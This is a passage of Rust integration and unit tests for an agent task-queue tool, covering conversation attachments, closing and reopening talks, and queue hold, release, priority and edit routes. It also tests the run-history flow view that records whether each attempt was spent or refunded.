9573    async fn talk_say_with_only_an_attachment_and_no_body_is_accepted_and_persists() {
9574        let f = Fixture::start().await;
9575        let id = seed_talk(&f, "20260905-000000-f6a7", "open");
9576
9577        let uploaded = f
9578            .post_bytes(
9579                &format!("/api/talks/{id}/attachments"),
9580                &[("Content-Type", "image/png"), ("X-Filename", "shot.png")],
9581                PNG_BYTES,
9582            )
9583            .await;
9584        assert_eq!(uploaded.status, 201, "{}", uploaded.body);
9585        let att_id = uploaded.json()["id"].as_str().expect("id").to_owned();
9586
9587        let res = f
9588            .post(
9589                &format!("/api/talks/{id}/say"),
9590                Some(&format!(r#"{{"text":"","attachments":["{att_id}"]}}"#)),
9591            )
9592            .await;
9593        assert_eq!(res.status, 202, "{}", res.body);
9594        let queued = res.json();
9595        let turns = queued["turns"].as_array().expect("turns array");
9596        assert_eq!(
9597            turns.len(),
9598            1,
9599            "an empty body with an attachment is still a turn: {queued}"
9600        );
9601        assert_eq!(turns[0]["who"], "operator");
9602        assert_eq!(turns[0]["body"], "");
9603        let atts = turns[0]["attachments"]
9604            .as_array()
9605            .expect("attachments array");
9606        assert_eq!(atts.len(), 1);
9607        assert_eq!(atts[0]["id"], att_id);
9608        assert_eq!(atts[0]["mime"], "image/png");
9609
9610        // Not only in the response: `record` flushes to disk before the
9611        // agent's own turn is even spawned.
9612        let on_disk = f.talks().get(&id).expect("get");
9613        assert_eq!(on_disk.turns[0].attachments.len(), 1);
9614        assert_eq!(on_disk.turns[0].attachments[0].id, att_id);
9615    }
9616
9617    #[tokio::test]
9618    async fn saying_with_an_unknown_attachment_id_is_a_4xx_and_records_nothing() {
9619        let f = Fixture::start().await;
9620        let id = seed_talk(&f, "20260905-000000-a7b8", "open");
9621
9622        let res = f
9623            .post(
9624                &format!("/api/talks/{id}/say"),
9625                Some(&format!(
9626                    r#"{{"text":"hi","attachments":["{}"]}}"#,
9627                    "a".repeat(32)
9628                )),
9629            )
9630            .await;
9631        assert!((400..500).contains(&res.status), "{}", res.body);
9632        assert!(res.body.contains("unknown attachment"), "{}", res.body);
9633
9634        let on_disk = f.talks().get(&id).expect("get");
9635        assert!(
9636            on_disk.turns.is_empty(),
9637            "a rejected attachment id must not partially record the turn: {:?}",
9638            on_disk.turns
9639        );
9640    }
9641
9642    #[tokio::test]
9643    async fn talk_close_makes_the_talk_refuse_further_turns() {
9644        let f = Fixture::start().await;
9645        let id = seed_talk(&f, "20260904-014455-cd34", "open");
9646
9647        let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
9648        assert_eq!(closed.status, 200, "{}", closed.body);
9649        assert_eq!(closed.json()["status"], "closed");
9650
9651        // Idempotent: closing an already-closed talk is not an error.
9652        let closed_again = f.post(&format!("/api/talks/{id}/close"), None).await;
9653        assert_eq!(closed_again.status, 200);
9654        assert_eq!(closed_again.json()["status"], "closed");
9655
9656        let said = f
9657            .post(
9658                &format!("/api/talks/{id}/say"),
9659                Some(r#"{"text":"too late"}"#),
9660            )
9661            .await;
9662        assert_eq!(said.status, 409, "{}", said.body);
9663    }
9664
9665    #[tokio::test]
9666    async fn talk_reopen_lets_a_closed_talk_take_turns_again_and_is_idempotent() {
9667        let (_tmp, _repo, f) = talk_fixture().await;
9668        let id = f.post("/api/talks", None).await.json()["id"]
9669            .as_str()
9670            .expect("id")
9671            .to_owned();
9672        let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
9673        assert_eq!(closed.status, 200, "{}", closed.body);
9674
9675        let reopened = f.post(&format!("/api/talks/{id}/reopen"), None).await;
9676        assert_eq!(reopened.status, 200, "{}", reopened.body);
9677        assert_eq!(reopened.json()["status"], "open");
9678
9679        // Idempotent: reopening an already-open talk is not an error.
9680        let reopened_again = f.post(&format!("/api/talks/{id}/reopen"), None).await;
9681        assert_eq!(reopened_again.status, 200);
9682        assert_eq!(reopened_again.json()["status"], "open");
9683
9684        let said = f
9685            .post(
9686                &format!("/api/talks/{id}/say"),
9687                Some(r#"{"text":"still there?"}"#),
9688            )
9689            .await;
9690        assert_eq!(
9691            said.status, 202,
9692            "a reopened talk accepts turns again: {}",
9693            said.body
9694        );
9695    }
9696
9697    #[tokio::test]
9698    async fn talk_reopen_on_an_unknown_id_is_404() {
9699        let f = Fixture::start().await;
9700        let res = f.post("/api/talks/nonexistent-id/reopen", None).await;
9701        assert_eq!(res.status, 404, "{}", res.body);
9702    }
9703
9704    #[tokio::test]
9705    async fn talk_delete_removes_the_talk_from_disk_and_the_list() {
9706        let f = Fixture::start().await;
9707        let id = seed_talk(&f, "20260904-014455-ef56", "closed");
9708
9709        let deleted = f.delete(&format!("/api/talks/{id}")).await;
9710        assert_eq!(deleted.status, 204, "{}", deleted.body);
9711
9712        let after = f.get(&format!("/api/talks/{id}")).await;
9713        assert_eq!(after.status, 404, "{}", after.body);
9714
9715        let listed = f.get("/api/talks").await.json();
9716        assert!(
9717            listed.as_array().unwrap().iter().all(|t| t["id"] != id),
9718            "a deleted talk must not linger in the list: {listed}"
9719        );
9720    }
9721
9722    #[tokio::test]
9723    async fn talk_delete_on_an_unknown_id_is_404() {
9724        let f = Fixture::start().await;
9725        let res = f.delete("/api/talks/nonexistent-id").await;
9726        assert_eq!(res.status, 404, "{}", res.body);
9727    }
9728
9729    /// A task's page lists every run it ever had, in order, and says what kind
9730    /// of attempt each was - including a resume, which re-pushes the same run
9731    /// id, and a run whose record this build cannot read.
9732    #[tokio::test]
9733    async fn task_detail_lists_every_run_with_what_kind_of_attempt_it_was() {
9734        let f = Fixture::start().await;
9735        let (a, b, gone) = (
9736            "20260902-140501-aaaa",
9737            "20260902-140502-bbbb",
9738            "20260902-140503-cccc",
9739        );
9740        write_run(&f.runs(), a, RunStatus::Stalled);
9741        let mut review = RunState::new(
9742            PathBuf::from("/repo/magi"),
9743            "main".to_owned(),
9744            "0123456789abcdef".to_owned(),
9745            "Review the work already on branch `magi/aaaa/A`. There is no task statement."
9746                .to_owned(),
9747            Config::default(),
9748        );
9749        review.id = b.to_owned();
9750        review.status = RunStatus::Merged;
9751        write_state(&f.runs(), &review);
9752
9753        let mut task = Task::new(
9754            "retry".to_owned(),
9755            "Do the thing".to_owned(),
9756            PathBuf::from("/repo/magi"),
9757            Source::Human,
9758        );
9759        task.start(a.to_owned());
9760        task.stall("quota");
9761        task.start(a.to_owned());
9762        task.start(b.to_owned());
9763        task.start(gone.to_owned());
9764        f.queue().put(&mut task).expect("file the task");
9765
9766        let res = f.get(&format!("/api/queue/{}", task.id)).await;
9767        assert_eq!(res.status, 200, "{}", res.body);
9768        let v = res.json();
9769        let h = v["history"].as_array().expect("history");
9770        assert_eq!(h.len(), 4, "{v}");
9771        assert_eq!(h[0]["kind"], "competition");
9772        assert_eq!(h[0]["status"], "stalled");
9773        assert_eq!(h[0]["provisional"], true, "a stall is never a decision");
9774        assert_eq!(h[1]["kind"], "resume", "{v}");
9775        assert!(
9776            h[0]["outcome"]
9777                .as_str()
9778                .unwrap()
9779                .contains("unknown. Pass #2"),
9780            "an earlier pass of a resumed run must not claim the final outcome: {v}"
9781        );
9782        assert!(
9783            !h[1]["outcome"].as_str().unwrap().contains("unknown."),
9784            "{v}"
9785        );
9786        assert!(
9787            !h[0]["outcome"].as_str().unwrap().contains("parked it"),
9788            "an unrecorded cause must not be narrated as an operator park: {v}"
9789        );
9790        assert_eq!(h[2]["kind"], "review");
9791        assert!(
9792            h[2]["description"]
9793                .as_str()
9794                .unwrap()
9795                .contains("magi/aaaa/A")
9796        );
9797        assert_eq!(h[2]["status"], "merged");
9798        assert_eq!(h[3]["readable"], false, "an unreadable run is shown");
9799        assert_eq!(v["runs_unreadable"], 1);
9800        let nodes = v["flow"]["nodes"].as_array().expect("flow nodes");
9801        assert_eq!(nodes.len(), 6, "start + four passes + end: {v}");
9802        assert_eq!(nodes[4]["note"], "unreadable");
9803        assert_eq!(v["flow"]["edges"].as_array().unwrap().len(), 5);
9804        assert_eq!(v["instruction"], "Do the thing");
9805        assert!(v["attempts_note"].as_str().unwrap().contains("handed back"));
9806
9807        // The run's own page links back to the task.
9808        let run = f.get(&format!("/api/runs/{a}")).await.json();
9809        assert_eq!(run["task"]["id"], task.id.as_str(), "{run}");
9810
9811        assert_eq!(f.get("/api/queue/nosuchtask").await.status, 404);
9812    }
9813
9814    fn flow_run(status: RunStatus, edit: impl FnOnce(&mut RunState)) -> RunState {
9815        let mut s = RunState::new(
9816            PathBuf::from("/repo/magi"),
9817            "main".to_owned(),
9818            "0123456789abcdef".to_owned(),
9819            "Do it".to_owned(),
9820            Config::default(),
9821        );
9822        s.status = status;
9823        edit(&mut s);
9824        s
9825    }
9826
9827    fn flow_task(runs: &[&str]) -> Task {
9828        let mut t = Task::new(
9829            "t".to_owned(),
9830            "Do it".to_owned(),
9831            PathBuf::from("/repo/magi"),
9832            Source::Human,
9833        );
9834        for r in runs {
9835            t.start((*r).to_owned());
9836        }
9837        t
9838    }
9839
9840    fn flow_for(task: &Task, states: &[(&str, Option<RunState>)]) -> FlowView {
9841        let h = task_history(task, |id| {
9842            states
9843                .iter()
9844                .find(|(i, _)| *i == id)
9845                .and_then(|(_, s)| s.clone())
9846        });
9847        task_flow(task, &h, 5)
9848    }
9849
9850    #[test]
9851    fn flow_opens_with_the_chat_that_queued_the_task() {
9852        let mut t = flow_task(&[]);
9853        t.source = Source::Agent {
9854            run: "a b/c".to_owned(),
9855            node: crate::queue::CHAT_NODE.to_owned(),
9856        };
9857        let f = flow_for(&t, &[]);
9858        assert_eq!(f.nodes[0].key, "chat");
9859        assert_eq!(f.nodes[0].kind, "chat");
9860        assert_eq!(
9861            f.nodes[0].label,
9862            format!("Chat {}", crate::queue::short("a b/c"))
9863        );
9864        assert_eq!(f.nodes[0].href.as_deref(), Some("#/chat/a%20b%2Fc"));
9865        assert_eq!(f.nodes[1].key, "start");
9866        assert_eq!(
9867            f.edges[0],
9868            FlowEdge {
9869                from: "chat".to_owned(),
9870                to: "start".to_owned(),
9871                label: "queued from chat".to_owned(),
9872                attempt: AttemptCost::None,
9873            }
9874        );
9875    }
9876
9877    #[test]
9878    fn flow_has_no_chat_box_for_other_sources() {
9879        for source in [
9880            Source::Human,
9881            Source::Issue {
9882                number: 3,
9883                repo: "o/r".to_owned(),
9884            },
9885            Source::Agent {
9886                run: "20260904-014455-ab12".to_owned(),
9887                node: "implement".to_owned(),
9888            },
9889        ] {
9890            let mut t = flow_task(&[]);
9891            t.source = source;
9892            let f = flow_for(&t, &[]);
9893            assert_eq!(f.nodes[0].key, "start");
9894            assert!(f.nodes.iter().all(|n| n.kind != "chat"));
9895            assert!(f.edges.iter().all(|e| e.from != "chat"));
9896        }
9897    }
9898
9899    const FA: &str = "20260902-140501-aaaa";
9900    const FB: &str = "20260902-140502-bbbb";
9901
9902    #[test]
9903    fn flow_follows_blocked_retry_merged_to_done() {
9904        let mut t = flow_task(&[FA, FB]);
9905        t.status = TaskStatus::Done;
9906        let f = flow_for(
9907            &t,
9908            &[
9909                (FA, Some(flow_run(RunStatus::Blocked, |_| {}))),
9910                (FB, Some(flow_run(RunStatus::Merged, |_| {}))),
9911            ],
9912        );
9913        let keys: Vec<_> = f.nodes.iter().map(|n| n.key.as_str()).collect();
9914        assert_eq!(keys, ["start", "run-1", "run-2", "end"]);
9915        assert_eq!(f.edges.len(), 3);
9916        assert_eq!(f.edges[0].label, "claimed");
9917        assert_eq!(f.edges[1].label, "blocked, attempt spent \u{2192} retry");
9918        assert_eq!(f.edges[1].attempt, AttemptCost::Spent);
9919        assert_eq!(f.edges[2].label, "merged \u{2192} done");
9920        assert_eq!(
9921            f.nodes[2].href.as_deref(),
9922            Some("#/runs/20260902-140502-bbbb")
9923        );
9924        assert!(f.nodes[2].decided);
9925    }
9926
9927    #[test]
9928    fn flow_quota_stall_is_refunded_and_never_decided_then_resumes() {
9929        let quota = || {
9930            flow_run(RunStatus::Stalled, |s| {
9931                s.quota.push(crate::run::QuotaLoss {
9932                    seat: "judge-1".to_owned(),
9933                    node: "judge".to_owned(),
9934                    at: Timestamp::now(),
9935                    reset: None,
9936                })
9937            })
9938        };
9939        let mut t = flow_task(&[FA, FA]);
9940        t.status = TaskStatus::Queued;
9941        let f = flow_for(&t, &[(FA, Some(quota()))]);
9942        assert_eq!(f.nodes.len(), 4, "a repeated id is one node per pass");
9943        assert_eq!(f.nodes[1].note, Some("interrupted"));
9944        assert_eq!(
9945            f.nodes[1].status, None,
9946            "no outcome copied onto an earlier pass"
9947        );
9948        assert_eq!(
9949            f.edges[1].attempt,
9950            AttemptCost::Unknown,
9951            "a resume does not prove the earlier pass was refunded"
9952        );
9953        assert!(f.edges[1].label.contains("resume the same run"));
9954        assert_eq!(f.edges[2].attempt, AttemptCost::Unknown);
9955        assert_eq!(
9956            f.edges[2].label,
9957            "stalled after a resume, refund unknown \u{2192} queued"
9958        );
9959        assert!(!f.nodes[2].decided, "a stall is not a decision");
9960        assert_eq!(f.nodes[2].note, Some("no verdict"));
9961    }
9962
9963    #[test]
9964    fn flow_single_pass_quota_stall_is_refunded() {
9965        let t = flow_task(&[FA]);
9966        let f = flow_for(
9967            &t,
9968            &[(
9969                FA,
9970                Some(flow_run(RunStatus::Stalled, |s| {
9971                    s.quota.push(crate::run::QuotaLoss {
9972                        seat: "judge-1".to_owned(),
9973                        node: "judge".to_owned(),
9974                        at: Timestamp::now(),
9975                        reset: None,
9976                    })
9977                })),
9978            )],
9979        );
9980        assert_eq!(f.edges[1].attempt, AttemptCost::Refunded);
9981    }
9982
9983    #[test]
9984    fn flow_parked_refunds_and_stall_without_quota_spends() {
9985        let mut t = flow_task(&[FA]);
9986        t.status = TaskStatus::Queued;
9987        let f = flow_for(
9988            &t,
9989            &[(
9990                FA,
9991                Some(flow_run(RunStatus::Implementing, |s| s.parked = true)),
9992            )],
9993        );
9994        assert_eq!(f.edges[1].label, "parked, attempt refunded \u{2192} queued");
9995        assert_eq!(f.edges[1].attempt, AttemptCost::Refunded);
9996        let f = flow_for(&t, &[(FA, Some(flow_run(RunStatus::Stalled, |_| {})))]);
9997        assert_eq!(f.edges[1].attempt, AttemptCost::Spent);
9998        assert!(!f.nodes[1].decided);
9999    }
10000
10001    #[test]
10002    fn flow_keeps_an_unreadable_run_as_its_own_node() {
10003        let t = flow_task(&[FA, FB]);
10004        let f = flow_for(&t, &[(FB, Some(flow_run(RunStatus::Blocked, |_| {})))]);
10005        assert_eq!(f.nodes[1].note, Some("unreadable"));
10006        assert!(!f.nodes[1].readable);
10007        assert_eq!(f.nodes[1].run_kind, Some("unknown"));
10008        assert_eq!(f.edges[1].attempt, AttemptCost::Unknown);
10009    }
10010
10011    #[test]
10012    fn flow_names_the_branch_of_a_review_only_run() {
10013        let t = flow_task(&[FA]);
10014        let f = flow_for(
10015            &t,
10016            &[(
10017                FA,
10018                Some(flow_run(RunStatus::Merged, |s| {
10019                    s.instruction = "Review the work already on branch `magi/x/A`. Go.".to_owned()
10020                })),
10021            )],
10022        );
10023        assert_eq!(f.edges[0].label, "review-only run of branch magi/x/A");
10024        assert_eq!(
10025            f.nodes[1].detail.as_deref(),
10026            Some("review-only run of branch magi/x/A")
10027        );
10028    }
10029
10030    #[test]
10031    fn flow_ends_held_with_the_pr_left_open_and_flags_hand_edits() {
10032        let mut t = flow_task(&[FA]);
10033        t.status = TaskStatus::Held;
10034        let pr = crate::run::PrRecord {
10035            url: "https://example.test/pr/1".to_owned(),
10036            number: 1,
10037            state: "open".to_owned(),
10038            checks: "green".to_owned(),
10039            round: 0,
10040            rounds: 3,
10041            red_at_merge: Vec::new(),
10042        };
10043        let blocked = flow_run(RunStatus::Blocked, |s| s.pr = Some(pr));
10044        let f = flow_for(&t, &[(FA, Some(blocked.clone()))]);
10045        assert_eq!(f.edges[1].label, "blocked, PR left open \u{2192} held");
10046        t.status = TaskStatus::Done;
10047        let f = flow_for(&t, &[(FA, Some(blocked))]);
10048        assert_eq!(f.edges[1].label, "closed by hand: task is done");
10049    }
10050
10051    #[test]
10052    fn flow_with_no_runs_goes_from_queued_to_queued() {
10053        let t = flow_task(&[]);
10054        let f = flow_for(&t, &[]);
10055        assert_eq!(f.nodes.len(), 2);
10056        assert_eq!(f.edges.len(), 1);
10057        assert_eq!(f.edges[0].label, "no run yet \u{2192} queued");
10058        assert_eq!(f.edges[0].attempt, AttemptCost::None);
10059    }
10060
10061    /// A run parked mid-flight keeps a non-terminal status; the page must
10062    /// still say why it stopped and that the attempt came back.
10063    #[test]
10064    fn a_parked_non_terminal_run_is_explained_as_parked() {
10065        let mut s = RunState::new(
10066            PathBuf::from("/repo/magi"),
10067            "main".to_owned(),
10068            "0123456789abcdef".to_owned(),
10069            "Do it".to_owned(),
10070            Config::default(),
10071        );
10072        s.status = RunStatus::Implementing;
10073        s.parked = true;
10074        let task = Task::new(
10075            "t".to_owned(),
10076            "Do it".to_owned(),
10077            PathBuf::from("/repo/magi"),
10078            Source::Human,
10079        );
10080        let v = task_run_view(
10081            "20260902-140501-aaaa",
10082            Some(&s),
10083            RunSlot {
10084                n: 1,
10085                resumed: false,
10086                resumed_later: None,
10087                prior: None,
10088                last: true,
10089            },
10090            &task,
10091        );
10092        assert!(v.outcome.contains("Parked"), "{}", v.outcome);
10093    }
10094
10095    fn earlier_pass_view(edit: impl FnOnce(&mut RunState)) -> TaskRunView {
10096        let mut s = flow_run(RunStatus::Implementing, edit);
10097        s.parked = false;
10098        let task = flow_task(&["20260902-140501-aaaa", "20260902-140501-aaaa"]);
10099        task_run_view(
10100            "20260902-140501-aaaa",
10101            Some(&s),
10102            RunSlot {
10103                n: 1,
10104                resumed: false,
10105                resumed_later: Some(2),
10106                prior: None,
10107                last: false,
10108            },
10109            &task,
10110        )
10111    }
10112
10113    #[test]
10114    fn an_earlier_pass_with_no_recorded_cause_is_unknown_not_parked() {
10115        let v = earlier_pass_view(|_| {});
10116        assert!(v.outcome.contains("not recorded"), "{}", v.outcome);
10117        assert!(v.outcome.contains("unknown"), "{}", v.outcome);
10118        assert!(!v.outcome.contains("parked it"), "{}", v.outcome);
10119        assert!(!v.outcome.contains("handed back."), "{}", v.outcome);
10120        assert_eq!(v.exit, RunExit::Interrupted);
10121        assert_eq!(v.attempt, AttemptCost::Unknown);
10122    }
10123
10124    #[test]
10125    fn an_earlier_pass_with_a_recorded_rate_limit_does_not_claim_it_as_the_cause() {
10126        let v = earlier_pass_view(|s| {
10127            s.quota.push(crate::run::QuotaLoss {
10128                seat: "judge-1".to_owned(),
10129                node: "judge".to_owned(),
10130                at: Timestamp::now(),
10131                reset: None,
10132            });
10133        });
10134        assert!(v.outcome.contains("may or may not"), "{}", v.outcome);
10135        assert!(v.outcome.contains("unknown"), "{}", v.outcome);
10136        assert_eq!(v.attempt, AttemptCost::Unknown);
10137    }
10138
10139    #[test]
10140    fn the_current_pass_states_its_recorded_cause_and_cost() {
10141        let slot = || RunSlot {
10142            n: 1,
10143            resumed: false,
10144            resumed_later: None,
10145            prior: None,
10146            last: true,
10147        };
10148        let task = flow_task(&["20260902-140501-aaaa"]);
10149        let parked = flow_run(RunStatus::Implementing, |s| s.parked = true);
10150        let v = task_run_view("20260902-140501-aaaa", Some(&parked), slot(), &task);
10151        assert_eq!(
10152            (v.exit, v.attempt),
10153            (RunExit::Parked, AttemptCost::Refunded)
10154        );
10155        let spent = flow_run(RunStatus::Blocked, |_| {});
10156        let v = task_run_view("20260902-140501-aaaa", Some(&spent), slot(), &task);
10157        assert_eq!(v.attempt, AttemptCost::Spent);
10158        assert!(v.outcome.contains("spent an attempt"), "{}", v.outcome);
10159    }
10160
10161    #[tokio::test]
10162    async fn holding_then_releasing_returns_a_task_to_the_loop_with_a_fresh_budget() {
10163        let f = Fixture::start().await;
10164        let queue = f.queue();
10165        let mut task = Task::new(
10166            "spent".to_owned(),
10167            "Try again".to_owned(),
10168            PathBuf::from("/repo/magi"),
10169            Source::Human,
10170        );
10171        task.start("20260902-140502-bbbb".to_owned());
10172        task.fail("agent gave up", 9);
10173        queue.put(&mut task).expect("file the task");
10174
10175        let held = f.post(&format!("/api/queue/{}/hold", task.id), None).await;
10176        assert_eq!(held.status, 200);
10177        assert_eq!(held.json()["status_str"], "held");
10178
10179        let released = f
10180            .post(&format!("/api/queue/{}/release", task.id), None)
10181            .await;
10182        assert_eq!(released.status, 200);
10183        assert_eq!(released.json()["status_str"], "queued");
10184        assert_eq!(
10185            released.json()["attempts"],
10186            0,
10187            "release is a real second chance, not an instant re-hold"
10188        );
10189        assert_eq!(
10190            queue.get(&task.id).expect("reload").status,
10191            TaskStatus::Queued,
10192            "the change is on disk, not only in the reply"
10193        );
10194        assert!(
10195            !f.home
10196                .path()
10197                .join("queue")
10198                .join(format!("{}.lock", task.id))
10199                .exists(),
10200            "the claim the mutation took is released again"
10201        );
10202    }
10203
10204    #[tokio::test]
10205    async fn a_task_a_daemon_is_running_cannot_be_changed_from_the_phone() {
10206        let f = Fixture::start().await;
10207        let queue = f.queue();
10208        let mut task = Task::new(
10209            "busy".to_owned(),
10210            "Running right now".to_owned(),
10211            PathBuf::from("/repo/magi"),
10212            Source::Human,
10213        );
10214        queue.put(&mut task).expect("file the task");
10215        let _claim = queue.claim(&task.id).expect("stand in for the daemon");
10216
10217        let res = f.post(&format!("/api/queue/{}/hold", task.id), None).await;
10218
10219        assert_eq!(res.status, 409);
10220        assert_eq!(
10221            queue.get(&task.id).expect("reload").status,
10222            TaskStatus::Queued,
10223            "the refused hold changed nothing"
10224        );
10225    }
10226
10227    #[tokio::test]
10228    async fn holding_with_a_reason_reads_back_from_show_and_the_card_and_release_clears_it() {
10229        let f = Fixture::start().await;
10230        let queue = f.queue();
10231        let mut task = Task::new(
10232            "waiting on the migration".to_owned(),
10233            "Do the thing".to_owned(),
10234            PathBuf::from("/repo/magi"),
10235            Source::Human,
10236        );
10237        queue.put(&mut task).expect("file the task");
10238
10239        let held = f
10240            .post(
10241                &format!("/api/queue/{}/hold", task.id),
10242                Some(r#"{"reason":"waiting for 20260101-000000-aaaa to land"}"#),
10243            )
10244            .await;
10245        assert_eq!(held.status, 200, "{}", held.body);
10246        assert_eq!(held.json()["status_str"], "held");
10247        assert_eq!(
10248            held.json()["hold_reason"],
10249            "waiting for 20260101-000000-aaaa to land"
10250        );
10251
10252        let listed = f.get("/api/queue").await.json();
10253        assert_eq!(
10254            listed[0]["hold_reason"], "waiting for 20260101-000000-aaaa to land",
10255            "the card reads the reason off the same list route"
10256        );
10257
10258        // A hold with no body at all must keep working - most holds have no
10259        // reason to give.
10260        let mut plain = Task::new(
10261            "no reason given".to_owned(),
10262            "Do another thing".to_owned(),
10263            PathBuf::from("/repo/magi"),
10264            Source::Human,
10265        );
10266        queue.put(&mut plain).expect("file the task");
10267        let held_plain = f.post(&format!("/api/queue/{}/hold", plain.id), None).await;
10268        assert_eq!(held_plain.status, 200, "{}", held_plain.body);
10269        assert!(held_plain.json()["hold_reason"].is_null());
10270
10271        let released = f
10272            .post(&format!("/api/queue/{}/release", task.id), None)
10273            .await;
10274        assert_eq!(released.status, 200);
10275        assert!(
10276            released.json()["hold_reason"].is_null(),
10277            "a release must clear the reason so the next hold does not inherit it"
10278        );
10279    }
10280
10281    #[tokio::test]
10282    async fn priority_can_be_raised_from_the_phone_and_moves_the_task_ahead() {
10283        let f = Fixture::start().await;
10284        let queue = f.queue();
10285        let mut older = Task::new(
10286            "filed first".to_owned(),
10287            "x".to_owned(),
10288            PathBuf::from("/repo/magi"),
10289            Source::Human,
10290        );
10291        older.id = "20260101-000001-aaaa".to_owned();
10292        let mut newer = Task::new(
10293            "filed second".to_owned(),
10294            "x".to_owned(),
10295            PathBuf::from("/repo/magi"),
10296            Source::Human,
10297        );
10298        newer.id = "20260101-000002-bbbb".to_owned();
10299        queue.put(&mut older).expect("file older");
10300        queue.put(&mut newer).expect("file newer");
10301
10302        // Equal priority: the newer task leads, the same order the old
10303        // newest-first `list()` already gave every equal-priority queue.
10304        let before = f.get("/api/queue").await.json();
10305        assert_eq!(before[0]["id"], newer.id);
10306        assert_eq!(before[1]["id"], older.id);
10307
10308        // Raising the *older* task is the meaningful case: it can only lead
10309        // now because its priority says so, not because it happens to be
10310        // newest.
10311        let raised = f
10312            .post(
10313                &format!("/api/queue/{}/priority", older.id),
10314                Some(r#"{"priority":10}"#),
10315            )
10316            .await;
10317        assert_eq!(raised.status, 200, "{}", raised.body);
10318        assert_eq!(raised.json()["priority"], 10);
10319
10320        let after = f.get("/api/queue").await.json();
10321        let names: Vec<&str> = after
10322            .as_array()
10323            .unwrap()
10324            .iter()
10325            .map(|t| t["id"].as_str().unwrap())
10326            .collect();
10327        // Highest priority first, which is the order next_runnable and
10328        // `magi task list` both use - GET /api/queue must agree with it
10329        // immediately, not just once the loop claims the task.
10330        assert_eq!(names[0], older.id, "the raised task now sorts first");
10331    }
10332
10333    #[tokio::test]
10334    async fn priority_is_refused_on_a_running_task_with_a_reason_in_the_body() {
10335        let f = Fixture::start().await;
10336        let queue = f.queue();
10337        let mut task = Task::new(
10338            "in flight".to_owned(),
10339            "x".to_owned(),
10340            PathBuf::from("/repo/magi"),
10341            Source::Human,
10342        );
10343        task.start("20260902-140502-bbbb".to_owned());
10344        queue.put(&mut task).expect("file the task");
10345
10346        let res = f
10347            .post(
10348                &format!("/api/queue/{}/priority", task.id),
10349                Some(r#"{"priority":9}"#),
10350            )
10351            .await;
10352        assert_eq!(res.status, 400, "{}", res.body);
10353        assert!(
10354            res.json()["error"]
10355                .as_str()
10356                .is_some_and(|e| e.contains("running")),
10357            "{}",
10358            res.body
10359        );
10360        assert_eq!(
10361            queue.get(&task.id).expect("reload").priority,
10362            0,
10363            "the refused write must not partially apply"
10364        );
10365    }
10366
10367    #[tokio::test]
10368    async fn editing_replaces_title_and_instruction_and_keeps_id_created_at_source_and_runs() {
10369        let f = Fixture::start().await;
10370        let queue = f.queue();
10371        let mut task = Task::new(
10372            "old title".to_owned(),
10373            "old instruction".to_owned(),
10374            PathBuf::from("/repo/magi"),
10375            Source::Agent {
10376                run: "20260101-000000-beef".to_owned(),
10377                node: "implement".to_owned(),
10378            },
10379        );
10380        task.runs.push("20260101-000000-beef".to_owned());
10381        queue.put(&mut task).expect("file the task");
10382        let created_at = task.created_at;
10383
10384        let edited = f
10385            .post(
10386                &format!("/api/queue/{}/edit", task.id),
10387                Some(r#"{"title":"new title","instruction":"new instruction"}"#),
10388            )
10389            .await;
10390        assert_eq!(edited.status, 200, "{}", edited.body);
10391        let body = edited.json();
10392        assert_eq!(body["title"], "new title");
10393        assert_eq!(body["instruction"], "new instruction");
10394        assert_eq!(body["id"], task.id, "editing must not mint a new id");
10395        assert_eq!(body["created_at"], created_at.to_string());
10396        assert_eq!(
10397            body["source"]["kind"], "agent",
10398            "editing a task an agent filed must not turn it human: {body}"
10399        );
10400        assert_eq!(body["runs"], serde_json::json!(["20260101-000000-beef"]));
10401
10402        let reloaded = queue.get(&task.id).expect("reload");
10403        assert_eq!(reloaded.title, "new title");
10404        assert_eq!(reloaded.instruction, "new instruction");
10405    }
10406
10407    #[tokio::test]
10408    async fn editing_in_a_duplicate_is_a_409_naming_the_match_until_forced() {
10409        // The judge is an agent now: a repo whose only agent answers
10410        // "duplicate" stands in for it, so the refusal is the judge's.
10411        let tmp = TempDir::new().expect("tempdir");
10412        let repo = tmp.path().join("repo");
10413        std::fs::create_dir_all(&repo).expect("repo dir");
10414        let judge = MOCK_AGENT_TOML.replace(
10415            "printf ok",
10416            r#"printf '{\"duplicate\":true,\"reason\":\"same branch\"}'"#,
10417        );
10418        std::fs::write(repo.join("magi.toml"), judge).expect("write magi.toml");
10419        let f = Fixture::with_repo(repo.clone()).await;
10420        let queue = f.queue();
10421        let mut owner = Task::new(
10422            "owner".to_owned(),
10423            "review it".to_owned(),
10424            repo.clone(),
10425            Source::Human,
10426        );
10427        owner.review_branch = Some("magi/ab12/A".to_owned());
10428        queue.put(&mut owner).expect("file the owner");
10429        let mut task = Task::new(
10430            "draft".to_owned(),
10431            "old".to_owned(),
10432            repo.clone(),
10433            Source::Human,
10434        );
10435        queue.put(&mut task).expect("file the draft");
10436        let url = format!("/api/queue/{}/edit", task.id);
10437
10438        let refused = f
10439            .post(
10440                &url,
10441                Some(r#"{"title":"t","instruction":"land magi/ab12/A"}"#),
10442            )
10443            .await;
10444        assert_eq!(refused.status, 409, "{}", refused.body);
10445        let msg = refused.json()["error"]
10446            .as_str()
10447            .unwrap_or_default()
10448            .to_owned();
10449        assert!(
10450            msg.contains("magi/ab12/A") && msg.contains("force"),
10451            "{msg}"
10452        );
10453        assert_eq!(queue.get(&task.id).expect("reload").instruction, "old");
10454
10455        let forced = f
10456            .post(
10457                &url,
10458                Some(r#"{"title":"t","instruction":"land magi/ab12/A","force":true}"#),
10459            )
10460            .await;
10461        assert_eq!(forced.status, 200, "{}", forced.body);
10462    }
10463
10464    #[tokio::test]
10465    async fn editing_a_running_task_is_refused_with_a_reason_in_the_response() {
10466        let f = Fixture::start().await;
10467        let queue = f.queue();
10468        let mut task = Task::new(
10469            "in flight".to_owned(),
10470            "do not touch".to_owned(),
10471            PathBuf::from("/repo/magi"),
10472            Source::Human,
10473        );
10474        task.start("20260902-140502-bbbb".to_owned());
10475        queue.put(&mut task).expect("file the task");
10476
10477        let res = f
10478            .post(
10479                &format!("/api/queue/{}/edit", task.id),
10480                Some(r#"{"title":"x","instruction":"y"}"#),
10481            )
10482            .await;
10483        assert_eq!(res.status, 400, "{}", res.body);
10484        assert!(
10485            res.json()["error"]
10486                .as_str()
10487                .is_some_and(|e| e.contains("running")),
10488            "{}",
10489            res.body
10490        );
10491        assert_eq!(
10492            queue.get(&task.id).expect("reload").instruction,
10493            "do not touch",
10494            "the refused edit must not change the file"
10495        );
